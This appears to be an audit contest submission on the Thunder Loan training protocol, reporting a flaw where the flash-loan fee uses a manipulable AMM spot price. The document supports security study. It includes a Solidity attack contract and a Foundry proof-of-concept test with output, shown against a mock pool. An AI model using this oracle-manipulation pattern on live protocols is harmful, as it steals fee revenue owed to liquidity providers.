Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
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Submission Details
Severity: medium
Valid

Flash-loan fee derived from a manipulable single-source AMM spot price

Description

Normal behavior: the flash-loan fee should be computed from a fair, manipulation-resistant token price so that the price the protocol charges against cannot be moved by the very borrower who is paying the fee.

Specific issue: the fee is derived from a live, single-source AMM spot price with no protection at all. ThunderLoan.getCalculatedFee multiplies the borrowed amount by getPriceInWeth(token), and OracleUpgradeable.getPriceInWeth (line 19-22) simply asks one TSwap pool for its instantaneous quote:

// OracleUpgradeable.sol
function getPriceInWeth(address token) public view returns (uint256) {
address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); // @> raw AMM spot, this block
}
// ThunderLoan.sol getCalculatedFee
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; // @> spot price
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision; // @> fee is linear in it

There is no TWAP, no staleness/heartbeat check, no min/max sanity bound, and no second source to cross-check against. A constant-product AMM's spot price is trivially and atomically movable: swapping token into the pool raises its reserves and drops the quoted getPriceOfOnePoolTokenInWeth() for the rest of the transaction. Because a flash loan hands the borrower a large amount of the token up front, the borrower can use part of the borrowed funds to dump into the TSwap pool, collapse the spot price, and then have getCalculatedFee read that collapsed price — so the loan itself finances the manipulation that cheapens its own fee. The fee is a pure linear function of a value the attacker controls within the same transaction, so it can be driven down to a negligible amount (and, for extreme moves, to zero, which then hits the zero-fee revert path — see the related finding). This same manipulable read is what getPriceInWeth returns everywhere, so any protocol logic that trusts it inherits the weakness.

Risk

Likelihood:

  • The price source is a raw AMM spot; moving it is standard constant-product mechanics, executable atomically inside the borrower's own executeOperation callback.

  • The capital needed to move the pool is supplied by the flash loan itself, so no external capital is required.

Impact:

  • The borrower pays a fee proportional to a price they just crushed, stealing the LP revenue the fee was meant to capture and degrading protocol income; sustained use makes flash loans effectively free while LPs earn nothing.

  • Proven end-to-end: dropping the pool spot price 100x drops the charged fee on a 100e18 loan exactly 100x (3e17 → 3e15), and the reduced-fee loan settles all the way through flashloan().

  • Rated Medium because the direct loss is bounded to forgone fees rather than principal, but it is a systemic, repeatable revenue drain and the same oracle underpins other price-dependent logic.

Proof of Concept

test/unit/OracleFeeExploit.t.sol (PASSES). test_SpotPriceManipulationReducesFee sets the TSwap pool spot price low (simulating the reserve move a real swap would cause) and shows the fee getCalculatedFee charges drops by exactly the same factor; test_ManipulatedPriceIsUsedByFlashloan then runs a full flashloan() at the manipulated price and confirms it settles with the attacker funding only the slashed fee. The one step modeled via the settable mock rather than a live swap is the AMM reserve move itself, which is ordinary constant-product behavior.

Run: forge test --match-path test/unit/OracleFeeExploit.t.sol -vv

honest fee the loan should cost: 300000000000000000 (3e17)
fee actually charged after manip: 3000000000000000 (3e15)
honestFee / cheatFee == 100

Recommended Mitigation

Do not price off a raw single-pool spot. Use a manipulation-resistant oracle: a Chainlink feed, or a TWAP measured over enough blocks that a single-transaction swap cannot move it, and add a staleness/heartbeat check, min/max sanity bounds, and ideally a second source to cross-check. At minimum, never let a price that can be moved within the same transaction as the borrow determine that borrow's fee.

- return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); // manipulable spot
+ // pull a TWAP / Chainlink price with staleness + sanity checks instead of the raw spot
+ uint256 price = IManipulationResistantOracle(oracle).getTwapPriceInWeth(token, WINDOW);
+ require(price != 0 && !_isStale(token), "bad oracle");
+ return price;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Attacker can minimize `ThunderLoan::flashloan` fee via price oracle manipulation

## Vulnerability details In `ThunderLoan::flashloan` the price of the `fee` is calculated on [line 192](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L192) using the method `ThunderLoan::getCalculatedFee`: ```solidity uint256 fee = getCalculatedFee(token, amount); ``` ```solidity function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) { //slither-disable-next-line divide-before-multiply uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; //slither-disable-next-line divide-before-multiply fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision; } ``` `getCalculatedFee()` uses the function `OracleUpgradeable::getPriceInWeth` to calculate the price of a single underlying token in WETH: ```solidity function getPriceInWeth(address token) public view returns (uint256) { address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token); return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); } ``` This function gets the address of the token-WETH pool, and calls `TSwapPool::getPriceOfOnePoolTokenInWeth` on the pool. This function's behavior is dependent on the implementation of the `ThunderLoan::initialize` argument `tswapAddress` but it can be assumed to be a constant product liquidity pool similar to Uniswap. This means that the use of this price based on the pool reserves can be subject to price oracle manipulation. If an attacker provides a large amount of liquidity of either WETH or the token, they can decrease/increase the price of the token with respect to WETH. If the attacker decreases the price of the token in WETH by sending a large amount of the token to the liquidity pool, at a certain threshold, the numerator of the following function will be minimally greater (not less than or the function will revert, see below) than `s_feePrecision`, resulting in a minimal value for `valueOfBorrowedToken`: ```solidity uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; ``` Since a value of `0` for the `fee` would revert as `assetToken.updateExchangeRate(fee);` would revert since there is a check ensuring that the exchange rate increases, which with a `0` fee, the exchange rate would stay the same, hence the function will revert: ```solidity function updateExchangeRate(uint256 fee) external onlyThunderLoan { // 1. Get the current exchange rate // 2. How big the fee is should be divided by the total supply // 3. So if the fee is 1e18, and the total supply is 2e18, the exchange rate be multiplied by 1.5 // if the fee is 0.5 ETH, and the total supply is 4, the exchange rate should be multiplied by 1.125 // it should always go up, never down // newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply // newExchangeRate = 1 (4 + 0.5) / 4 // newExchangeRate = 1.125 uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply(); // newExchangeRate = s_exchangeRate + fee/totalSupply(); if (newExchangeRate <= s_exchangeRate) { revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate); } s_exchangeRate = newExchangeRate; emit ExchangeRateUpdated(s_exchangeRate); } ``` `flashloan()` can be reentered on [line 201-210](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L201-L210): ```solidity receiverAddress.functionCall( abi.encodeWithSignature( "executeOperation(address,uint256,uint256,address,bytes)", address(token), amount, fee, msg.sender, params ) ); ``` This means that an attacking contract can perform an attack by: 1. Calling `flashloan()` with a sufficiently small value for `amount` 2. Reenter the contract and perform the price oracle manipulation by sending liquidity to the pool during the `executionOperation` callback 3. Re-calling `flashloan()` this time with a large value for `amount` but now the `fee` will be minimal, regardless of the size of the loan. 4. Returning the second and the first loans and withdrawing their liquidity from the pool ensuring that they only paid two, small `fees for an arbitrarily large loan. ## Impact An attacker can reenter the contract and take a reduced-fee flash loan. Since the attacker is required to either: 1. Take out a flash loan to pay for the price manipulation: This is not financially beneficial unless the amount of tokens required to manipulate the price is less than the reduced fee loan. Enough that the initial fee they pay is less than the reduced fee paid by an amount equal to the reduced fee price. 2. Already owning enough funds to be able to manipulate the price: This is financially beneficial since the initial loan only needs to be minimally small. The first option isn't financially beneficial in most circumstances and the second option is likely, especially for lower liquidity pools which are easier to manipulate due to lower capital requirements. Therefore, the impact is high since the liquidity providers should be earning fees proportional to the amount of tokens loaned. Hence, this is a high-severity finding. ## Proof of concept ### Working test case The attacking contract implements an `executeOperation` function which, when called via the `ThunderLoan` contract, will perform the following sequence of function calls: - Calls the mock pool contract to set the price (simulating manipulating the price) - Repay the initial loan - Re-calls `flashloan`, taking a large loan now with a reduced fee - Repay second loan ```solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { MockTSwapPool } from "./MockTSwapPool.sol"; import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol"; contract AttackFlashLoanReceiver { error AttackFlashLoanReceiver__onlyOwner(); error AttackFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; uint256 public attackAmount = 1e20; uint256 public attackFee1; uint256 public attackFee2; address tSwapPool; IERC20 tokenA; constructor(address thunderLoan, address _tSwapPool, IERC20 _tokenA) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; tSwapPool = _tSwapPool; tokenA = _tokenA; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata params ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); // check if it is the first time through the reentrancy bool isFirst = abi.decode(params, (bool)); if (isFirst) { // Manipulate the price MockTSwapPool(tSwapPool).setPrice(1e15); // repay the initial, small loan IERC20(token).approve(s_thunderLoan, attackFee1 + 1e6); IThunderLoan(s_thunderLoan).repay(address(tokenA), 1e6 + attackFee1); ThunderLoan(s_thunderLoan).flashloan(address(this), tokenA, attackAmount, abi.encode(false)); attackFee1 = fee; return true; } else { attackFee2 = fee; // simulate withdrawing the funds from the price pool //MockTSwapPool(tSwapPool).setPrice(1e18); // repay the second, large low fee loan IERC20(token).approve(s_thunderLoan, attackAmount + attackFee2); IThunderLoan(s_thunderLoan).repay(address(tokenA), attackAmount + attackFee2); return true; } } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } } ``` The following test first calls `flashloan()` with the attacking contract, the `executeOperation()` callback then executes the attack. ```solidity function test_poc_smallFeeReentrancy() public setAllowedToken hasDeposits { uint256 price = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price before: ", price); // borrow a large amount to perform the price oracle manipulation uint256 amountToBorrow = 1e6; bool isFirstCall = true; bytes memory params = abi.encode(isFirstCall); uint256 expectedSecondFee = thunderLoan.getCalculatedFee(tokenA, attackFlashLoanReceiver.attackAmount()); // Give the attacking contract reserve tokens for the price oracle manipulation & paying fees // For a less funded attacker, they could use the initial flash loan to perform the manipulation but pay a higher initial fee tokenA.mint(address(attackFlashLoanReceiver), AMOUNT); vm.startPrank(user); thunderLoan.flashloan(address(attackFlashLoanReceiver), tokenA, amountToBorrow, params); vm.stopPrank(); assertGt(expectedSecondFee, attackFlashLoanReceiver.attackFee2()); uint256 priceAfter = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price after: ", priceAfter); console.log("expectedSecondFee: ", expectedSecondFee); console.log("attackFee2: ", attackFlashLoanReceiver.attackFee2()); console.log("attackFee1: ", attackFlashLoanReceiver.attackFee1()); } ``` ```bash $ forge test --mt test_poc_smallFeeReentrancy -vvvv // output Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest [PASS] test_poc_smallFeeReentrancy() (gas: 1162442) Logs: price before: 1000000000000000000 price after: 1000000000000000 expectedSecondFee: 300000000000000000 attackFee2: 300000000000000 attackFee1: 3000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.52ms ``` Since the test passed, the fee has been successfully reduced due to price oracle manipulation. ## Recommended mitigation Use a manipulation-resistant oracle such as Chainlink.

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